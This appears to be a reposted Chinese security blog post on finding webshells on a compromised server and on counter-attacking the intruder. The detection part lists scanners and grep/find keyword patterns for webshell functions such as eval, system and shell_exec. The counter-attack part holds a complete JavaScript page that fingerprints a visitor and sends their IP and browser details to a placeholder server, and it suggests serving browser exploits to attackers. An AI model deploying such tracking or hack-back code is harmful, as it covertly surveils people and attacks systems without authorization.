webshell溯源排查与反制

admin 2022年2月5日11:04:39评论392 views字数 3764阅读12分32秒阅读模式
原文作者:Leticia原文地址:http://uuzdaisuki.com/2022/01/01/webshell%E6%BA%AF%E6%BA%90%E6%8E%92%E6%9F%A5%E4%B8%8E%E5%8F%8D%E5%88%B6/


一、前言

溯源排查中比较重要的一环是web突破口排查,攻击者通过web突破口入侵时,有极大的概率会写入webshell,本文介绍下常见的webshell排查方法和流程。


二、工具查杀

使用d盾、安全狗、护卫神等webshell查杀工具查杀web目录

1、d盾:

http://www.d99net.net/

3、网站安全狗:

https://www.safedog.cn/website_safedog.html

3、百度webshell查杀引擎:

https://scanner.baidu.com/#/pages/intro


三、手工查杀

由于某些变种webshell查杀工具很难发现,所以有些时候需要手工从其他维度去查杀,比如修改时间,日志,备份对比等。

1、上传目录关键字查找

上传目录是最有可能存在webshell的,一般来说需要优先排查上传目录

脚本代码排查

grep -rn php upload/

关键字排查

eval、system、assert、phpspy、c99sh、milw0rm、gunerpress、shell_exec、passthru、bash等关键字

find /www/upload -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_POST[|eval(|file_put_contents|base64_decode'

2、web非上传目录排查增删查改

如果上传目录没有发现webshell,那么有可能攻击者使用了除web上传接口的其他途径写入了文件,如命令执行等,此时需要排查web目录的非上传路径。

备份对比

对比非常传目录前后文件变动,寻找可疑文件,再进一步关键字匹配分析

vimdiff <(cd /tmp/1.1; find . | sort) <(cd /tmp/1.2; find . | sort)

3、时间戳排查

跟据情况调取短期内改动文件分析

find / -mtime -10 -mtime +1 2>/dev/null #一天前,十天内变动的文件

4、文件名排查

使用tree命令列举整个web目录文件,然后排查可疑文件

windows linux都可用

tree /var/www/

5、日志排查

cat /var/log/apache2/access.log | grep "antSword"


四、反向利用

1、篡改webshell页面利用js获取攻击者信息。

利用js获取信息例子

可获取对方ip、系统时间、浏览器各项信息等


<!DOCTYPE html><html>  <head>    <meta charset="UTF-8">    <title></title>  </head>

<body><script> Date.prototype.Format = function (fmt) { var o = { "M+": this.getMonth() + 1, // 月份 "d+": this.getDate(), // 日 "h+": this.getHours(), // 小时 "m+": this.getMinutes(), // 分 "s+": this.getSeconds(), // 秒 "q+": Math.floor((this.getMonth() + 3) / 3), // 季度 "S": this.getMilliseconds() // 毫秒 }; if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); for (var k in o) if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); return fmt;}</script> <script src="http://pv.sohu.com/cityjson?ie=utf-8"></script> <script> document.write(returnCitySN["cip"]+','+returnCitySN["cname"]+"</br>") </script> <script type="text/javascript"> let time = new Date().Format("yyyy-MM-dd hh:mm:ss") document.write(time+"</br>")</script> <script type="text/javascript"> document.write("userAgent: " + navigator.userAgent + "<br>"); document.write("appName: " + navigator.appName + "<br>"); document.write("appCodeName: " + navigator.appCodeName + "<br>"); document.write("appVersion: " + navigator.appVersion + "<br>"); document.write("appMinorVersion: " + navigator.appMinorVersion + "<br>"); document.write("platform: " + navigator.platform + "<br>"); document.write("cookieEnabled: " + navigator.cookieEnabled + "<br>"); document.write("onLine: " + navigator.onLine + "<br>"); document.write("userLanguage: " + navigator.language + "<br>"); document.write("mimeTypes.description: " + navigator.mimeTypes[1].description + "<br>"); document.write("mimeTypes.type: " + navigator.mimeTypes[1].type + "<br>"); document.write("plugins.description: " + navigator.plugins[3].description + "<br>"); var str_all = returnCitySN["cip"]+','+returnCitySN["cname"]+','+time+','+navigator.userAgent+','+navigator.appVersion+','+navigator.platform var url = "http://xx.xx.xx.xx:8000/?info="+str_all var request = new XMLHttpRequest(); request.open("GET",url) request.send();</script> </body></html>

然后接收服务器写一个小处理脚本将其保存下来

为求方便也可以使用xss平台来接收

2、利用浏览器漏洞反制攻击者。

可架设攻击浏览器历史漏洞的页面,但是成功概率不高。

3、反制webshell管理工具

可参考文章《端内钓鱼,反制蚁剑》

https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ


好书推荐

webshell溯源排查与反制

《JavaScript从入门到精通(第4版)》从初学者角度出发,通过通俗易懂的语言、丰富多彩的实例,详细介绍了使用JavaScript语言进行程序开发需要掌握的各方面技术。全书分为4篇,共21章,内容包括初识JavaScript、JavaScript基础、流程控制、函数、JavaScript对象与数组、字符串与数值处理对象、正则表达式、程序调试与错误处理、事件处理、文档(Document)对象、文档对象模型(DOM)、Window对象、级联样式表、表单对象、使用Cookie、图像处理、JavaScript中的XML、JavaScript的安全、jQuery技术、常用前端框架简介,以及仿豆瓣电影网项目实战。书中的大多数知识点都结合具体实例进行介绍,涉及的程序代码给出了详细的注释,读者可轻松领会JavaScript程序开发的精髓,快速提高开发技能。

禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

webshell溯源排查与反制


webshell溯源排查与反制

webshell溯源排查与反制

加我微信(ivu123ivu)私聊,暗号:排查,获取抽奖福利,仅当天有效。

原文始发于微信公众号(web安全工具库):webshell溯源排查与反制

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月5日11:04:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell溯源排查与反制http://cn-sec.com/archives/765740.html

发表评论

匿名网友 填写信息